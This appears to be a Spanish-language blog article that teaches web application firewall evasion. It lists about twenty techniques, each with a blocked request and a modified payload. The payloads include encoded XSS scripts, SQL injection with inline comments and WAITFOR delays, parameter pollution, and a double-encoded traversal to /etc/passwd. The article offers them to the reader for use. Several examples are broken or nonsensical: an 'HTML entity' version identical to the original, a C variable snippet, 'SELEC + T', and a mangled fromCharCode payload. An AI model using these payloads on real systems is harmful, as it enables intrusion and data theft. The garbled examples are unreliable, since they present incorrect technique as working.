ciberseguridad
redes
pentesting
cortafuegos
La siguiente es una lista de técnicas de hacking muy específicas que puedes utilizar para evadir firewalls. Ten en cuenta que existen aproximadamente una docena de tipos de firewalls y estas técnicas funcionan con una parte de ellos.
Aquí tienes una explicación detallada de cada técnica, incluyendo cómo hacerlo, una solicitud básica bloqueada y una solicitud actualizada que puede eludir el WAF:
Cómo hacerlo:
Codifica caracteres especiales en el payload utilizando codificación URL (codificación de porcentaje) para evadir la detección del WAF.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con codificación de URL:
1%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
Cómo hacerlo:
Convierte caracteres en el payload a sus equivalentes en Unicode para evadir la detección.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con codificación Unicode:
1\u003Cscript\u003Ealert('XSS')\u003C/script\u003E
Cómo hacerlo:
Usa entidades HTML para codificar caracteres en el payload, que pueden renderizarse correctamente en el navegador pero evadir el WAF.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con entidades HTML:
1<script>alert('XSS')</script>
Cómo hacerlo:
Combina múltiples técnicas de codificación (por ejemplo, codificación URL y entidades HTML) en un solo payload para confundir al WAF.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con codificación mixta:
1%3Cscript%3Ealert%28%26%2339%3BXSS%26%2339%3B%29%3C%2Fscript%3E
Cómo hacerlo:
Combina caracteres en mayúsculas y minúsculas para crear payloads eficientes.
Solicitud original bloqueada:
1<script>confirm()</script>
Actualizado con cambio de mayúsculas/minúsculas:
1<ScrIpT>confirm()</sCRiPt>
Cómo hacerlo:
Inserta comentarios o caracteres adicionales dentro del payload para romper los patrones que el WAF busca.
Solicitud original bloqueada:
1SELECT * FROM users WHERE id=1;
Actualizado con comentarios:
1SELECT/*comment*/ * FROM users WHERE id=1;
Cómo hacerlo:
Envía múltiples parámetros con el mismo nombre en una sola solicitud para confundir al WAF o la aplicación web.
Solicitud original bloqueada:
1GET /search?q=malicious_query
Actualizado con contaminación de parámetros:
1GET /search?q=benign_query&q=malicious_query
Cómo hacerlo:
Utiliza doble codificación para eludir las reglas del WAF que solo verifican secuencias codificadas una vez.
Solicitud original bloqueada:
1GET /../../etc/passwd
Actualizado con doble codificación:
1GET /%252e%252e%252f%252e%252e%252fetc%252fpasswd
Cómo hacerlo:
Modifica el encabezado User-Agent o Referrer para evadir las reglas del WAF que pueden aplicar reglas diferentes según estos encabezados.
Solicitud original bloqueada:
1GET /admin HTTP/1.1 2User-Agent: NormalBrowser
Actualizado con un User-Agent personalizado:
1GET /admin HTTP/1.1 2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Cómo hacerlo:
Usa demoras de tiempo en la inyección SQL para inferir información de la base de datos sin recuperar datos directamente.
Solicitud original bloqueada:
1GET /search?q=' OR 1=1; --
Actualizado con inyección SQL basada en tiempo:
1GET /search?q='; IF (1=1) WAITFOR DELAY '00:00:05'; --
Cómo hacerlo:
Modifica parámetros en solicitudes HTTP, particularmente solicitudes POST, para evadir las reglas del WAF enfocadas en solicitudes GET.
Solicitud original bloqueada:
1POST /login HTTP/1.1 2username=admin&password=123456
Actualizado con manipulación de parámetros:
1POST /login HTTP/1.1 2username=admin&password=wrong_password
Cómo hacerlo:
Divide el payload en múltiples solicitudes o paquetes para evitar la detección del WAF.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con fragmentación de payload:
1<script>aler 2t('XSS')</script>
Cómo hacerlo:
Analiza los registros y respuestas del WAF para identificar qué payloads están siendo bloqueados y ajustarlos en consecuencia.
Solicitud original bloqueada:
1GET /admin HTTP/1.1
Actualizado basado en análisis de registros:
1GET /admin.php HTTP/1.1
Cómo hacerlo:
Utiliza caracteres comodín de una manera que confunda el patrón de coincidencia del WAF.
Solicitud original bloqueada:
1SELECT * FROM users WHERE username='admin';
Actualizado con ofuscación con comodines:
1SELECT * FROM users WHERE username LIKE 'adm%';
Cómo hacerlo:
Inserta caracteres o elementos que rompan los tokens que el WAF utiliza para identificar patrones maliciosos.
Solicitud original bloqueada:
1SELECT * FROM users WHERE id=1;
Actualizado con ruptura de tokens:
1SELEC + T * FROM users WHERE id=1;
Cómo hacerlo:
Inserta tabulaciones (\t
) o saltos de línea (\n
) dentro de los payloads para interrumpir la coincidencia de patrones del WAF.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con tabulaciones y saltos de línea:
1<script>\n\talert('XSS')</script>
Cómo hacerlo:
Usa variables no inicializadas o raramente utilizadas en el payload para confundir los algoritmos de detección del WAF.
Solicitud original bloqueada:
1int x = 1; return x;
Actualizado con variable no inicializada:
1int x; return x = 1;
Cómo hacerlo:
Introduce caracteres de salto de línea dentro de un payload para dividir los patrones maliciosos que el WAF está escaneando.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con caracteres de salto de línea:
1<script> 2alert('XSS') 3</script>
Cómo hacerlo:
Inserta caracteres aleatorios o irrelevantes en el payload que la aplicación objetivo ignorará, pero que podrían hacer que el WAF pase por alto el ataque.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con caracteres basura:
1<scri%00pt>alert('XSS')</scri%00pt>
Cómo hacerlo:
Genera payloads dinámicamente, de modo que cambien en cada solicitud, lo que dificulta que el WAF los reconozca y bloquee.
Solicitud original bloqueada:
1<script>alert('XSS')</script>
Actualizado con generación dinámica de payload:
1<script>eval(String.fromCharCode(97,108,101, 2 3114,116)('XSS'))</script>
Las técnicas de evasión de firewalls que discutimos generalmente tienen como objetivo eludir tipos específicos de firewalls, particularmente aquellos que realizan inspección profunda de paquetes o filtrado a nivel de aplicación, como los Firewalls de Aplicaciones Web (WAF) y los Firewalls de Próxima Generación (NGFW). Sin embargo, la efectividad de estas técnicas puede variar dependiendo del tipo de firewall, su configuración y sus capacidades específicas. Aquí se muestra cómo estas técnicas podrían interactuar con diferentes tipos de firewalls:
No todas las técnicas son universalmente efectivas en todos los tipos de firewalls. Su éxito depende en gran medida del tipo específico de firewall, su configuración y la naturaleza del tráfico que inspecciona. Algunas técnicas son más adecuadas para firewalls a nivel de aplicación como los WAF, mientras que otras podrían dirigirse a firewalls más simples que filtran a nivel de red. Comprender las capacidades y configuraciones específicas del firewall en cuestión es esencial al aplicar técnicas de evasión.